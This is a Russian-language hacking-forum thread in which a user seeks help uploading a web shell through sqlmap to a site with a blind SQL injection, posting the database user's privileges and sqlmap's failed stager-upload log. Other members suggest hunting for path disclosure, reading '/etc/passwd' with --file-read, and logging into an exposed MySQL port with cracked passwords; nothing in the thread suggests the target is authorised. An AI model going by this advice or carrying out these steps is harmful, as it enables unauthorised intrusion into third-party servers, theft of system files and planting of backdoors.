sqlmap заливка шелла

Discussion in 'Песочница' started by hackworld, 6 Nov 2019.

  1. hackworld

    hackworld New Member

    Joined:
    26 Jun 2019
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Добрый день прошу помощи со sqlmapom ни как не могу залить шелл
    Права у юзера есть
    --is-dba: True
    %lotos% (administrator) [28]:
    privilege: ALTER
    privilege: ALTER R
    privilege: CREATE
    privilege: CREATE
    privilege: CREATE
    privilege: CREATE
    privilege: CREATE
    privilege: CREATE
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TA
    privilege: PROCESS
    privilege: REFEREN
    privilege: RELOAD
    privilege: REPLICA
    privilege: REPLICA
    privilege: SELECT
    privilege: SHOW DA
    privilege: SHOW VI
    privilege: SHUTDOW
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE

    SELECT @@GLOBAL.secure_file_priv;
    '/var/lib/mysql-files/'
     
  2. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,027
    Likes Received:
    913
    Reputations:
    199
    Где логи действий? Где ответа сервера? Или нам представить нужно что ты делал и что не получается?
     
    _________________________
  3. hackworld

    hackworld New Member

    Joined:
    26 Jun 2019
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    web application technology: Nginx
    back-end DBMS: MySQL >= 5.0.12
    [12:20:48] [INFO] going to use a web backdoor for command prompt
    [12:20:48] [INFO] fingerprinting the back-end DBMS operating system
    [12:20:48] [INFO] the back-end DBMS operating system is Linux
    which web application language does the web server support?
    [1] ASP
    [2] ASPX
    [3] JSP
    [4] PHP (default)
    > 4
    do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y
    [12:21:00] [WARNING] unable to automatically retrieve the web server document root
    what do you want to use for writable directory?
    [1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default)
    [2] custom location(s)
    [3] custom directory list file
    [4] brute force search
    > 1
    [12:21:04] [WARNING] unable to automatically parse any web server path
    [12:21:04] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
    [12:21:04] [INFO] heuristics detected web page charset 'ascii'
    [12:21:04] [WARNING] unable to upload the file stager on '/var/www/'
    [12:21:04] [INFO] trying to upload the file stager on '/var/www/i/pages/' via LIMIT 'LINES TERMINATED BY' method
    [12:21:05] [WARNING] unable to upload the file stager on '/var/www/i/pages/'
    [12:21:05] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
    [12:21:06] [WARNING] unable to upload the file stager on '/var/www/html/'
    [12:21:06] [INFO] trying to upload the file stager on '/var/www/html/i/pages/' via LIMIT 'LINES TERMINATED BY' method
    [12:21:07] [WARNING] unable to upload the file stager on '/var/www/html/i/pages/'
    [12:21:07] [INFO] trying to upload the file stager on '/usr/local/apache2/htdocs/' via LIMIT 'LINES TERMINATED BY' method
    [12:21:07] [WARNING] unable to upload the file stager on '/usr/local/apache2/htdocs/'
    [12:21:07] [INFO] trying to upload the file stager on '/usr/local/apache2/htdocs/i/pages/' via LIMIT 'LINES TERMINATED BY' method
    [12:21:08] [WARNING] unable to upload the file stager on '/usr/local/apache2/htdocs/i/pages/'
    [12:21:08] [INFO] trying to upload the file stager on '/var/www/nginx-default/' via LIMIT 'LINES TERMINATED BY' method
    [12:21:09] [WARNING] unable to upload the file stager on '/var/www/nginx-default/'
    [12:21:09] [INFO] trying to upload the file stager on '/var/www/nginx-default/i/pages/' via LIMIT 'LINES TERMINATED BY' method
    [12:21:10] [WARNING] unable to upload the file stager on '/var/www/nginx-default/i/pages/'
    [12:21:10] [INFO] trying to upload the file stager on '/srv/www/' via LIMIT 'LINES TERMINATED BY' method
    [12:21:10] [WARNING] unable to upload the file stager on '/srv/www/'
    [12:21:10] [INFO] trying to upload the file stager on '/srv/www/i/pages/' via LIMIT 'LINES TERMINATED BY' method
    [12:21:11] [WARNING] unable to upload the file stager on '/srv/www/i/pages/'
    [12:21:11] [WARNING] HTTP error codes detected during run:
    404 (Not Found) - 43 times
     
  4. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,027
    Likes Received:
    913
    Reputations:
    199
    почему так много 404, там ваф? путь к doc_root известен или наугад?
     
    _________________________
  5. hackworld

    hackworld New Member

    Joined:
    26 Jun 2019
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    путь не известен дефолтный список sqlmap
    вафа вроде нет но сама скуля типа
    Parameter: lang (GET)
    Type: boolean-based blind
     
  6. fandor9

    fandor9 Reservists Of Antichat

    Joined:
    16 Nov 2018
    Messages:
    607
    Likes Received:
    1,023
    Reputations:
    46
    ну так ищите сначала ошибку в сайтах, что-бы раскрывали вам путь.
     
  7. hackworld

    hackworld New Member

    Joined:
    26 Jun 2019
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    это ясно я искал не нашел думал может подскажут другой какой вариант
     
  8. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    234
    Likes Received:
    785
    Reputations:
    212
    как?
     
  9. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,116
    Likes Received:
    828
    Reputations:
    231
    попробуй сначала
    --file-read="/etc/passwd" если считает,то нужно директорию найти будет на запись и залить туда через
    а не автоподбором
    UPD
    не заметил , Type: boolean-based blind
    не зальешься,нужно union
     
    _________________________
  10. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    234
    Likes Received:
    785
    Reputations:
    212
    если повезет - открыт 3306, можно подключаться удаленно, и сможешь расшифровать пароль, то как вариант подключиться к бд и оттуда залиться, но все равно надо путь искать
     
    seostock likes this.
  11. hackworld

    hackworld New Member

    Joined:
    26 Jun 2019
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    пароли не хочет извлекать
     
  12. hackworld

    hackworld New Member

    Joined:
    26 Jun 2019
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    выше же написано --is-dba: True
     
  13. hackworld

    hackworld New Member

    Joined:
    26 Jun 2019
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    то есть через блинду вариантов заливок нет
     
Loading...
Similar Threads - sqlmap заливка шелла
  1. ivdos
    Replies:
    8
    Views:
    2,342
  2. 2fed
    Replies:
    1
    Views:
    2,311
  3. rozzet
    Replies:
    0
    Views:
    2,828
  4. Octavian
    Replies:
    15
    Views:
    6,691